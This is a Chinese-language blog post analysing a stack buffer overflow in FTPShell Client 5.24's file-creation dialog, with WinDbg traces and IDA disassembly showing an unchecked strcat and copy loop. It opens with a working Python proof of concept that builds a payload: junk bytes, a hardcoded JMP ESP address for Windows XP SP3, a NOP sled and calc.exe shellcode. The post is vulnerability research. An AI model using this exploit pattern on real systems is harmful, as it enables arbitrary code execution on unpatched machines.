FTPShell Client 5.24本地文件创建功能缓冲区溢出漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/35f21b909eaeb43b12869f595e3b6ca6-ftpsetup.exe

PoC:

#!/usr/bin/python
filename = "buffer.txt"
# Junk A
junk = "A"*452
#77FAB277  JMP ESP
# Windows Xp Professional Version 2002 Service Pack 3
eip = "\x77\xB2\xFA\x77"
# Nops
nops = "\x90"*100
# Shellcode Calc.exe 16Byte
buf=("\x31\xC9"
"\x51"    
"\x68\x63\x61\x6C\x63"    
"\x54"    
"\xB8\xC7\x93\xC2\x77"    
"\xFF\xD0")

#Appending Buffers Together
exploit = junk + eip + nops + buf
#Creating File
length = len(exploit)
print "[+]File name:     [%s]\n" % filename
print "[+]Payload Size: [%s]\n " % length 
print "[+]File Created.\n" 
file = open(filename,"w")
file.write(exploit)
file.close
print exploit

这是在FTPShell的一个本地代码执行漏洞,利用PoC会生成一个buffer.txt,用UE打开,复制buffer.txt里的文本,之后打开FTPShell,在菜单中选文件,然后创建文件,会弹出一个对话框,在对话框里粘贴复制的文本,确定后漏洞触发,这里可以将buffer.txt中畸形数据的内容改成"A"*600,可以比较稳定触发漏洞。


漏洞复现


此漏洞是由于FTPShell中的sub_42D23C函数,在调用strcat时会进行一次字符串拼接组成一个完整路径,在进行字符串拼接前后,没有对文件名进行合法性检查,导致拼接完成后,在后续的sub_464A20函数调用后,会在函数内部进行一次字符串赋值,因为没有检查长度,因此在赋值后会导致缓冲区被覆盖,返回地址被覆盖从而使返回地址可控,可接管程序流程,下面对此漏洞进行详细分析。

首先触发漏洞,附加windbg,到达崩溃现场

0:000> g
(3b0.390): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00df4cd0 ecx=00000392 edx=00000392 esi=00dc36c8 edi=0012fa78
eip=41414141 esp=0012fa3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

通过kb查看堆栈调用

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fa38 41414141 41414141 41414141 41414141 0x41414141
0012fa3c 41414141 41414141 41414141 41414141 0x41414141
0012fa40 41414141 41414141 41414141 41414141 0x41414141
0012fa44 41414141 41414141 41414141 41414141 0x41414141
0012fa48 41414141 41414141 41414141 41414141 0x41414141
0012fa4c 41414141 41414141 41414141 41414141 0x41414141
0012fa50 41414141 41414141 41414141 41414141 0x41414141
0012fa54 41414141 41414141 41414141 41414141 0x41414141
0012fa58 41414141 41414141 41414141 41414141 0x41414141
0012fa5c 41414141 41414141 41414141 41414141 0x41414141

可以看到此时堆栈已经被冲垮了,我们可以缩短畸形字符串长度来减少栈被冲垮的部分,从而对之前的函数调用进行回溯,减少畸形字符串长度之后,重新打开程序,再次崩溃。

0:008> g
(1ac.4b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00df5518 ecx=0012fa4c edx=00000314 esi=00dc36c8 edi=0012fa78
eip=0042d415 esp=0012fa40 ebp=00004141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\FTPShell\ftpshell.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\FTPShell\ftpshell.exe - 
ftpshell!Tb2extitemsinitialization$qqrv+0x18c51:
0042d415 8b55cc          mov     edx,dword ptr [ebp-34h] ss:0023:0000410d=????????

注意观察此时ebp的值是00004141,其实这里应该是漏洞触发函数之后,应该是在此层函数调用中,有一个内层函数的调用,而就是在那个函数调用的位置发生了缓冲区溢出,导致返回外层函数,也就是现在这个漏洞崩溃现场的ret指令时,由于返回地址被覆盖,从而导致了溢出。

因此,我们可以从0042d415这个地址所在的函数中寻找漏洞触发点。


漏洞分析


通过IDA Pro回溯此层函数sub_42D23C,找到了一个执行区间,loc_42D35A,离漏洞触发位置不远,实际上,这个寻找过程需要从sub_42D23C入口处下断点,不断调整找到的,这里我省略了重复的过程。

.text:0042D35A loc_42D35A:                             ; CODE XREF: sub_42D23C+10Dj
.text:0042D35A                 mov     eax, [esi]
.text:0042D35C                 push    esi
.text:0042D35D                 add     eax, 150h
.text:0042D362                 lea     esi, [ebp+dest]
.text:0042D368                 mov     edi, eax
.text:0042D36A                 xor     eax, eax
.text:0042D36C                 or      ecx, 0FFFFFFFFh
.text:0042D36F                 repne scasb
.text:0042D371                 not     ecx
.text:0042D373                 sub     edi, ecx

接下来,我们在0042D35A下断点,重新触发漏洞,命中断点后跟踪。

0:008> bp 0042D35A
*** WARNING: Unable to verify checksum for C:\Program Files\FTPShell\ftpshell.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\FTPShell\ftpshell.exe - 
0:008> g
Breakpoint 0 hit
eax=00000000 ebx=00df54e0 ecx=00000000 edx=0075bbc0 esi=00dc36c8 edi=00df54e0
eip=0042d35a esp=0012fa40 ebp=0012fd94 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ftpshell!Tb2extitemsinitialization$qqrv+0x18b96:
0042d35a 8b06            mov     eax,dword ptr [esi]  ds:0023:00dc36c8=00e1aee4

可以看到在入口处,并没有涉及到漏洞的畸形字符串的赋值和漏洞触发的原因,我们需要准确分析为什么会产生漏洞和产生漏洞的位置。接下来我们单步跟踪。

0:000> t
eax=00000000 ebx=00df54e0 ecx=fffffffa edx=0075bbc0 esi=0012fa4c edi=00e1b039
eip=0042d36f esp=0012fa3c ebp=0012fd94 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210286
ftpshell!Tb2extitemsinitialization$qqrv+0x18bab:
0042d36f f2ae            repne scas byte ptr es:[edi]
0:000> dc edi
00e1b039  656d7563 2073746e 20646e61 74746553  cuments and Sett
00e1b049  73676e69 6f6f725c 794d5c74 636f4420  ings\root\My Doc
00e1b059  6e656d75 00007374 00000000 00000000  uments.

可以看到此处有一处循环赋值操作,可以看到edi中存放的值是一个绝对路径,前面C:\D之所以没有是因为我执行了两次,导致前面的值已经被赋值了,那么接下来继续单步跟踪。

0:000> t
eax=0012fa4c ebx=00df54c8 ecx=0012fbd4 edx=00000002 esi=00dc36c8 edi=0012fa78
eip=0042d3b7 esp=0012fa38 ebp=0012fd94 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
ftpshell!Tb2extitemsinitialization$qqrv+0x18bf3:
0042d3b7 e8e0512400      call    ftpshell!Tbskinplusinitialization$qqrv+0x6e688 (0067259c)
0:000> t
eax=0012fa4c ebx=00df54c8 ecx=0012fbd4 edx=00000002 esi=00dc36c8 edi=0012fa78
eip=0067259c esp=0012fa34 ebp=0012fd94 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
ftpshell!Tbskinplusinitialization$qqrv+0x6e688:
0067259c 55              push    ebp
0:000> gu
eax=0012fa4c ebx=00df54c8 ecx=00000000 edx=00000169 esi=00dc36c8 edi=0012fa78
eip=0042d3bc esp=0012fa38 ebp=0012fd94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
ftpshell!Tb2extitemsinitialization$qqrv+0x18bf8:
0042d3bc 83c408          add     esp,8
0:000> dd eax
0012fa4c  445c3a43 6d75636f 73746e65 646e6120
0012fa5c  74655320 676e6974 6f725c73 4d5c746f
0012fa6c  6f442079 656d7563 5c73746e 41414141
0012fa7c  41414141 41414141 41414141 41414141
0012fa8c  41414141 41414141 41414141 41414141
0012fa9c  41414141 41414141 41414141 41414141
0012faac  41414141 41414141 41414141 41414141
0012fabc  41414141 41414141 41414141 41414141

可以看到,当0042d3b7处的call函数调用后,我们观察eax的值已经变成了畸形字符串,那么初步判定,0042d3b7处的call函数是产生畸形字符串的原因,接下来继续单步跟踪。

0:000> t
eax=0012fa4c ebx=00df54e0 ecx=00000000 edx=0012fa4c esi=00dc36c8 edi=0012fa78
eip=0042d3c5 esp=0012fa40 ebp=0012fd94 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
ftpshell!Tb2extitemsinitialization$qqrv+0x18c01:
0042d3c5 52              push    edx
0:000> t
eax=0012fa4c ebx=00df54e0 ecx=00000000 edx=0012fa4c esi=00dc36c8 edi=0012fa78
eip=0042d3c6 esp=0012fa3c ebp=0012fd94 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
ftpshell!Tb2extitemsinitialization$qqrv+0x18c02:
0042d3c6 e855760300      call    ftpshell!Rcgui_mainFinalize+0x22d50 (00464a20)
0:000> t
eax=0012fa4c ebx=00df54e0 ecx=00000000 edx=0012fa4c esi=00dc36c8 edi=0012fa78
eip=00464a20 esp=0012fa38 ebp=0012fd94 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
ftpshell!Rcgui_mainFinalize+0x22d50:
00464a20 55              push    ebp
0:000> gu
eax=00000001 ebx=00df54e0 ecx=00000314 edx=00000314 esi=00dc36c8 edi=0012fa78
eip=0042d3cb esp=0012fa3c ebp=00004141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ftpshell!Tb2extitemsinitialization$qqrv+0x18c07:
0042d3cb 59              pop     ecx
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fa38 0012fa4c 0012fe50 00cc0dc0 00dbaad0 ftpshell!Tb2extitemsinitialization$qqrv+0x18c07
0012fa3c 0012fe50 00cc0dc0 00dbaad0 445c3a43 0x12fa4c
0012fa4c 6d75636f 73746e65 646e6120 74655320 0x12fe50
0012fa50 73746e65 646e6120 74655320 676e6974 0x6d75636f
0012fa54 646e6120 74655320 676e6974 6f725c73 0x73746e65
0012fa58 74655320 676e6974 6f725c73 4d5c746f 0x646e6120
0012fa5c 676e6974 6f725c73 4d5c746f 6f442079 0x74655320
0012fa60 6f725c73 4d5c746f 6f442079 656d7563 0x676e6974
0012fa64 4d5c746f 6f442079 656d7563 5c73746e 0x6f725c73
0012fa68 6f442079 656d7563 5c73746e 41414141 0x4d5c746f
0012fa6c 656d7563 5c73746e 41414141 41414141 0x6f442079
0012fa70 5c73746e 41414141 41414141 41414141 0x656d7563
0012fa74 41414141 41414141 41414141 41414141 0x5c73746e
0012fa78 41414141 41414141 41414141 41414141 0x41414141
0012fa7c 41414141 41414141 41414141 41414141 0x41414141
0012fa80 41414141 41414141 41414141 41414141 0x41414141
0012fa84 41414141 41414141 41414141 41414141 0x41414141
0012fa88 41414141 41414141 41414141 41414141 0x41414141

可以看到0042d3c6处的call函数调用结束后,ebp的值变成了00004141,那么实际上这里的call函数很有可能就是覆盖返回地址的函数,只是这里由于我减少了畸形字符串的长度,从而导致没有覆盖返回地址,正常情况下,通过这里的返回地址覆盖,就可以执行任意代码了,那么接下来我们就来看一下这两处关键的call调用。

在重启程序之前,我们需要加长畸形字符串长度,这样能确保在漏洞触发现场覆盖返回地址,接下来我们来到第一处call函数中断,来看一下这处call函数调用。

.text:0067259C ; Attributes: library function bp-based frame
.text:0067259C
.text:0067259C ; char *__cdecl strcat(char *dest, const char *src)
.text:0067259C _strcat         proc near               ; CODE XREF: sub_4151E8+915p
.text:0067259C                                         ; sub_4151E8+926p ...
.text:0067259C
.text:0067259C dest            = dword ptr  8
.text:0067259C src             = dword ptr  0Ch
.text:0067259C
.text:0067259C                 push    ebp
.text:0067259D                 mov     ebp, esp
.text:0067259F                 push    esi
.text:006725A0                 push    edi
.text:006725A1                 mov     edi, [ebp+dest]
.text:006725A4                 mov     ecx, 0FFFFFFFFh
.text:006725A9                 xor     al, al
.text:006725AB                 cld
.text:006725AC                 repne scasb
.text:006725AE                 lea     esi, [edi-1]
.text:006725B1                 mov     edi, [ebp+src]
.text:006725B4                 mov     ecx, 0FFFFFFFFh
.text:006725B9                 repne scasb
.text:006725BB                 not     ecx
.text:006725BD                 sub     edi, ecx
.text:006725BF                 xchg    esi, edi
.text:006725C1                 mov     edx, ecx
.text:006725C3                 shr     ecx, 1
.text:006725C5                 shr     ecx, 1
.text:006725C7                 cld
.text:006725C8                 rep movsd
.text:006725CA                 mov     ecx, edx
.text:006725CC                 and     ecx, 3
.text:006725CF                 rep movsb
.text:006725D1                 mov     eax, [ebp+dest]
.text:006725D4                 pop     edi
.text:006725D5                 pop     esi
.text:006725D6                 pop     ebp

可以看到这处call函数调用实际是自己写的一个strcat函数,也就是字符串拼接,它会将src拼接到dest字符串后面,这样的话我们在函数调用处看一下两个地址保存的内容。

0:008> g
Breakpoint 0 hit
eax=0012fa4c ebx=00df5044 ecx=0012fbd4 edx=00000002 esi=00dc36c8 edi=0012fa78
eip=0042d3b7 esp=0012fa38 ebp=0012fd94 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
ftpshell!Tb2extitemsinitialization$qqrv+0x18bf3:
0042d3b7 e8e0512400      call    ftpshell!Tbskinplusinitialization$qqrv+0x6e688 (0067259c)
0:000> dd esp
0012fa38  0012fa4c 0012fbd4 0012fe50 00cc0dc0
0012fa48  00dbaad0 445c3a43 6d75636f 73746e65
0012fa58  646e6120 74655320 676e6974 6f725c73
0012fa68  4d5c746f 6f442079 656d7563 5c73746e
0012fa78  00010000 00000005 0012f9dc 80000000
0012fa88  0012fc00 7c92e900 7c930040 ffffffff
0012fa98  7c93003d 77d2e65c 00140000 00000000
0012faa8  0016ff80 0012fdd8 00db8644 005fb0f4
0:000> dd 0012fbd4
0012fbd4  41414141 41414141 41414141 41414141
0012fbe4  41414141 41414141 41414141 41414141
0012fbf4  41414141 41414141 41414141 41414141
0012fc04  41414141 41414141 41414141 41414141
0012fc14  41414141 41414141 41414141 41414141
0012fc24  41414141 41414141 41414141 41414141
0012fc34  41414141 41414141 41414141 41414141
0012fc44  41414141 41414141 41414141 41414141

0:000> dc 0012fa4c
0012fa4c  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
0012fa5c  74655320 676e6974 6f725c73 4d5c746f   Settings\root\M
0012fa6c  6f442079 656d7563 5c73746e 00010000  y Documents\....
0012fa7c  00000005 0012f9dc 80000000 0012fc00  ................

可以看到,esp+4位置保存的第二个参数就是畸形字符串AAAA,而第一个参数就是路径,也就是说,这里会将畸形字符串拼接到路径后面组成一个完整的绝对路径。

那么接下来我们重点跟一下漏洞触发的函数sub_464A20,在函数中,我们发现了一处循环赋值操作。

0:000> t
eax=00000044 ebx=0012f8af ecx=0012f83a edx=0000005c esi=0012f5e7 edi=00000000
eip=00464a97 esp=0012f5d8 ebp=0012fa34 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200297
ftpshell!Rcgui_mainFinalize+0x22dc7:
00464a97 7549            jne     ftpshell!Rcgui_mainFinalize+0x22e12 (00464ae2) [br=1]
0:000> t
eax=00000044 ebx=0012f8af ecx=0012f83a edx=0000005c esi=0012f5e7 edi=00000000
eip=00464ae2 esp=0012f5d8 ebp=0012fa34 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200297
ftpshell!Rcgui_mainFinalize+0x22e12:
00464ae2 8a0b            mov     cl,byte ptr [ebx]          ds:0023:0012f8af=44
0:000> dd ebx
0012f8af  75636f44 746e656d 6e612073 65532064
0012f8bf  6e697474 725c7367 5c746f6f 4420794d
0012f8cf  6d75636f 73746e65 4141415c 41414141
0012f8df  41414141 41414141 41414141 41414141
0012f8ef  41414141 41414141 41414141 41414141
0012f8ff  41414141 41414141 41414141 41414141
0012f90f  41414141 41414141 41414141 41414141

就是这处赋值操作,会将畸形字符串两个字节一组拷贝到目标缓冲区,而在此前没有进行任何检查,跳过这个循环,直接到达函数末尾,观察寄存器。

0:000> p
eax=00000001 ebx=00ddcc64 ecx=00000328 edx=00000328 esi=00dc36c8 edi=0012fa78
eip=00464b33 esp=0012f5e4 ebp=0012fa34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ftpshell!Rcgui_mainFinalize+0x22e63:
00464b33 8be5            mov     esp,ebp
0:000> p
eax=00000001 ebx=00ddcc64 ecx=00000328 edx=00000328 esi=00dc36c8 edi=0012fa78
eip=00464b35 esp=0012fa34 ebp=0012fa34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ftpshell!Rcgui_mainFinalize+0x22e65:
00464b35 5d              pop     ebp
0:000> p
eax=00000001 ebx=00ddcc64 ecx=00000328 edx=00000328 esi=00dc36c8 edi=0012fa78
eip=00464b36 esp=0012fa38 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ftpshell!Rcgui_mainFinalize+0x22e66:
00464b36 c3              ret
0:000> dd esp
0012fa38  41414141 41414141 0012fe00 00cc0dc0
0012fa48  00dbaad0 445c3a43 6d75636f 73746e65
0012fa58  646e6120 74655320 676e6974 6f725c73
0012fa68  4d5c746f 6f442079 656d7563 5c73746e
0012fa78  41414141 41414141 41414141 41414141
0012fa88  41414141 41414141 41414141 41414141
0012fa98  41414141 41414141 41414141 41414141
0012faa8  41414141 41414141 41414141 41414141
0:000> dd ebp
41414141  ???????? ???????? ???????? ????????
41414151  ???????? ???????? ???????? ????????
41414161  ???????? ???????? ???????? ????????
41414171  ???????? ???????? ???????? ????????
41414181  ???????? ???????? ???????? ????????
41414191  ???????? ???????? ???????? ????????

可以看到函数末尾ebp和返回地址均被覆盖,返回后会到达shellcode位置。

那么接下来我们可以通过IDA的伪代码来重新梳理整个过程。首先是strcat会将畸形字符串和路径拼接成一个绝对路径。

char *__cdecl strcat(char *dest, const char *src)
{
  strcat(dest, src);
  return dest;
}

接下来程序会调用sub_464A20函数,首先函数会到达一个循环赋值的位置。

  while ( *v2 )
  {
    if ( *v2 == 92 )
    {
      *v1 = 0;
      if ( v3 <= 0 )
      {
        v4 = FindFirstFileA(&FileName, &FindFileData);
        if ( v4 == (HANDLE)-1 )
        {
          if ( !CreateDirectoryA(&FileName, 0) )
            return 1;
        }
        else
        {
          FindClose(v4);
        }
      }
      else
      {
        --v3;
      }
      *v1 = *v2;
    }
    else
    {
      *v1 = *v2;
    }
    ++v2;
    ++v1;
  }

赋值结束后导致缓冲区被覆盖,产生缓冲区溢出,而在这整个过程中,并没有对路径长度进行有效的检查。

Comments
Write a Comment
  • 向大佬学习!

  • MT reply

    在哪里创建文件??没有找到弹框啊